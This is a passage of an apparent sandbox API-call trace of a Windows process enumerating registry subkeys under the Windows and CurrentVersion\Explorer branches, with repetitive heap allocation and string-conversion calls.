(HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0025.671] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc240) returned 1 [0025.671] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0025.671] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde840) returned 1 [0025.671] RegEnumKeyW (in: hKey=0xf8, dwIndex=0x21, lpName=0xc19d18, cchName=0x104 | out: lpName="RAS AutoDial") returned 0x0 [0025.671] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde840 [0025.671] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras autodial", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0025.671] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0025.671] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras autodial", cchWideChar=12, lpMultiByteStr=0xddc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ras autodial", lpUsedDefaultChar=0x0) returned 12 [0025.671] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc240 [0025.671] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0025.671] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc240) returned 1 [0025.671] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde840) returned 1 [0025.671] RegEnumKeyW (in: hKey=0xf8, dwIndex=0x22, lpName=0xc19d18, cchName=0x104 | out: lpName="RAS Phonebook") returned 0x0 [0025.672] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde840 [0025.672] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras phonebook", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0025.672] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc240 [0025.672] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras phonebook", cchWideChar=13, lpMultiByteStr=0xddc240, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ras phonebook", lpUsedDefaultChar=0x0) returned 13 [0025.672] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0025.672] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc240) returned 1 [0025.672] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0025.672] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde840) returned 1 [0025.672] RegEnumKeyW (in: hKey=0xf8, dwIndex=0x23, lpName=0xc19d18, cchName=0x104 | out: lpName="Remote Assistance") returned 0x0 [0025.672] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde840 [0025.672] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="remote assistance", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0025.672] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0025.672] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="remote assistance", cchWideChar=17, lpMultiByteStr=0xddc120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="remote assistance", lpUsedDefaultChar=0x0) returned 17 [0025.672] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc240 [0025.672] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0025.672] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc240) returned 1 [0025.672] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde840) returned 1 [0025.672] RegEnumKeyW (in: hKey=0xf8, dwIndex=0x24, lpName=0xc19d18, cchName=0x104 | out: lpName="Shared") returned 0x0 [0025.672] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde840 [0025.672] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0025.672] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc240 [0025.672] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared", cchWideChar=6, lpMultiByteStr=0xddc240, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared", lpUsedDefaultChar=0x0) returned 6 [0025.672] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0025.672] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc240) returned 1 [0025.672] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0025.672] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde840) returned 1 [0025.672] RegEnumKeyW (in: hKey=0xf8, dwIndex=0x25, lpName=0xc19d18, cchName=0x104 | out: lpName="Shared Tools") returned 0x0 [0025.672] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde840 [0025.672] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0025.672] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0025.672] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools", cchWideChar=12, lpMultiByteStr=0xddc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared tools", lpUsedDefaultChar=0x0) returned 12 [0025.672] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc240 [0025.672] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0025.673] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc240) returned 1 [0025.673] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde840) returned 1 [0025.673] RegEnumKeyW (in: hKey=0xf8, dwIndex=0x26, lpName=0xc19d18, cchName=0x104 | out: lpName="SideShow") returned 0x0 [0025.673] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde840 [0025.673] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sideshow", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0025.673] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc240 [0025.673] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sideshow", cchWideChar=8, lpMultiByteStr=0xddc240, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sideshow", lpUsedDefaultChar=0x0) returned 8 [0025.673] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0025.673] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc240) returned 1 [0025.673] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0025.673] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde840) returned 1 [0025.673] RegEnumKeyW (in: hKey=0xf8, dwIndex=0x27, lpName=0xc19d18, cchName=0x104 | out: lpName="Speech") returned 0x0 [0025.673] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde840 [0025.673] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="speech", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0025.673] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0025.673] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="speech", cchWideChar=6, lpMultiByteStr=0xddc120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="speech", lpUsedDefaultChar=0x0) returned 6 [0025.673] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc240 [0025.673] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0025.673] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc240) returned 1 [0025.673] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde840) returned 1 [0025.673] RegEnumKeyW (in: hKey=0xf8, dwIndex=0x28, lpName=0xc19d18, cchName=0x104 | out: lpName="SQMClient") returned 0x0 [0025.673] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde840 [0025.673] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sqmclient", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0025.673] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc240 [0025.673] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sqmclient", cchWideChar=9, lpMultiByteStr=0xddc240, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sqmclient", lpUsedDefaultChar=0x0) returned 9 [0025.673] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0025.673] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc240) returned 1 [0025.673] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0025.673] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde840) returned 1 [0025.673] RegEnumKeyW (in: hKey=0xf8, dwIndex=0x29, lpName=0xc19d18, cchName=0x104 | out: lpName="SystemCertificates") returned 0x0 [0025.673] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde840 [0025.673] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="systemcertificates", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0025.674] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0025.674] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="systemcertificates", cchWideChar=18, lpMultiByteStr=0xddc120, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="systemcertificates", lpUsedDefaultChar=0x0) returned 18 [0025.674] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc240 [0025.674] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0025.674] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc240) returned 1 [0025.674] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde840) returned 1 [0025.674] RegEnumKeyW (in: hKey=0xf8, dwIndex=0x2a, lpName=0xc19d18, cchName=0x104 | out: lpName="VBA") returned 0x0 [0025.674] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde840 [0025.674] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vba", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0025.674] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc240 [0025.674] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vba", cchWideChar=3, lpMultiByteStr=0xddc240, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vba", lpUsedDefaultChar=0x0) returned 3 [0025.674] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0025.674] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc240) returned 1 [0025.674] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0025.674] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde840) returned 1 [0025.674] RegEnumKeyW (in: hKey=0xf8, dwIndex=0x2b, lpName=0xc19d18, cchName=0x104 | out: lpName="VisualStudio") returned 0x0 [0025.675] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde840 [0025.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="visualstudio", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0025.675] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0025.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="visualstudio", cchWideChar=12, lpMultiByteStr=0xddc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="visualstudio", lpUsedDefaultChar=0x0) returned 12 [0025.675] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc240 [0025.675] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0025.675] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc240) returned 1 [0025.675] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde840) returned 1 [0025.675] RegEnumKeyW (in: hKey=0xf8, dwIndex=0x2c, lpName=0xc19d18, cchName=0x104 | out: lpName="WAB") returned 0x0 [0025.675] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde840 [0025.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wab", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0025.675] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc240 [0025.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wab", cchWideChar=3, lpMultiByteStr=0xddc240, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wab", lpUsedDefaultChar=0x0) returned 3 [0025.675] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0025.675] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc240) returned 1 [0025.675] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0025.675] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde840) returned 1 [0025.675] RegEnumKeyW (in: hKey=0xf8, dwIndex=0x2d, lpName=0xc19d18, cchName=0x104 | out: lpName="Web Service Providers") returned 0x0 [0025.675] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde840 [0025.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="web service providers", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0025.675] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0025.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="web service providers", cchWideChar=21, lpMultiByteStr=0xddc120, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="web service providers", lpUsedDefaultChar=0x0) returned 21 [0025.675] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc240 [0025.675] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0025.675] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc240) returned 1 [0025.675] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde840) returned 1 [0025.675] RegEnumKeyW (in: hKey=0xf8, dwIndex=0x2e, lpName=0xc19d18, cchName=0x104 | out: lpName="wfs") returned 0x0 [0025.675] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde840 [0025.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wfs", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0025.675] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc240 [0025.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wfs", cchWideChar=3, lpMultiByteStr=0xddc240, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wfs", lpUsedDefaultChar=0x0) returned 3 [0025.675] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0025.675] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc240) returned 1 [0025.676] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0025.676] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde840) returned 1 [0025.676] RegEnumKeyW (in: hKey=0xf8, dwIndex=0x2f, lpName=0xc19d18, cchName=0x104 | out: lpName="Windows") returned 0x0 [0025.676] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde840 [0025.676] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0025.676] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0025.676] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows", cchWideChar=7, lpMultiByteStr=0xddc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windows", lpUsedDefaultChar=0x0) returned 7 [0025.676] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc240 [0025.676] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0025.676] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc240) returned 1 [0025.676] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde840) returned 1 [0025.676] RegOpenKeyExW (in: hKey=0xf8, lpSubKey="Windows", ulOptions=0x0, samDesired=0x20109, phkResult=0x18f4bc | out: phkResult=0x18f4bc*=0x110) returned 0x0 [0025.676] RegCloseKey (hKey=0xf8) returned 0x0 [0025.676] RegEnumKeyW (in: hKey=0x110, dwIndex=0x0, lpName=0xc19d18, cchName=0x104 | out: lpName="CurrentVersion") returned 0x0 [0025.676] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde840 [0025.676] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentversion", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0025.676] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc240 [0025.676] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentversion", cchWideChar=14, lpMultiByteStr=0xddc240, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentversion", lpUsedDefaultChar=0x0) returned 14 [0025.676] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0025.676] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc240) returned 1 [0025.676] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0025.676] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde840) returned 1 [0025.676] RegOpenKeyExW (in: hKey=0x110, lpSubKey="CurrentVersion", ulOptions=0x0, samDesired=0x20109, phkResult=0x18f4bc | out: phkResult=0x18f4bc*=0xf8) returned 0x0 [0025.676] RegCloseKey (hKey=0x110) returned 0x0 [0025.676] RegEnumKeyW (in: hKey=0xf8, dwIndex=0x0, lpName=0xc19d18, cchName=0x104 | out: lpName="Action Center") returned 0x0 [0025.676] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde840 [0025.676] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="action center", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0025.676] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0025.677] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="action center", cchWideChar=13, lpMultiByteStr=0xddc120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="action center", lpUsedDefaultChar=0x0) returned 13 [0025.677] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc240 [0025.677] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0025.677] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc240) returned 1 [0025.677] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde840) returned 1 [0025.677] RegEnumKeyW (in: hKey=0xf8, dwIndex=0x1, lpName=0xc19d18, cchName=0x104 | out: lpName="Applets") returned 0x0 [0025.677] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde840 [0025.677] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="applets", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0025.677] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc240 [0025.677] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="applets", cchWideChar=7, lpMultiByteStr=0xddc240, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="applets", lpUsedDefaultChar=0x0) returned 7 [0025.677] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0025.677] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc240) returned 1 [0025.677] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0025.677] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde840) returned 1 [0025.677] RegEnumKeyW (in: hKey=0xf8, dwIndex=0x2, lpName=0xc19d18, cchName=0x104 | out: lpName="Controls Folder (Wow64)") returned 0x0 [0025.677] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde840 [0025.677] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controls folder (wow64)", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0025.677] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0025.677] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controls folder (wow64)", cchWideChar=23, lpMultiByteStr=0xddc120, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controls folder (wow64)", lpUsedDefaultChar=0x0) returned 23 [0025.677] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc240 [0025.677] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0025.677] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc240) returned 1 [0025.677] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde840) returned 1 [0025.677] RegEnumKeyW (in: hKey=0xf8, dwIndex=0x3, lpName=0xc19d18, cchName=0x104 | out: lpName="Explorer") returned 0x0 [0025.677] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde840 [0025.677] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0025.677] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc240 [0025.677] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0xddc240, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="explorer", lpUsedDefaultChar=0x0) returned 8 [0025.677] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0025.677] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc240) returned 1 [0025.677] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0025.677] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde840) returned 1 [0025.677] RegOpenKeyExW (in: hKey=0xf8, lpSubKey="Explorer", ulOptions=0x0, samDesired=0x20109, phkResult=0x18f4bc | out: phkResult=0x18f4bc*=0x110) returned 0x0 [0025.678] RegCloseKey (hKey=0xf8) returned 0x0 [0025.678] RegEnumKeyW (in: hKey=0x110, dwIndex=0x0, lpName=0xc19d18, cchName=0x104 | out: lpName="Advanced") returned 0x0 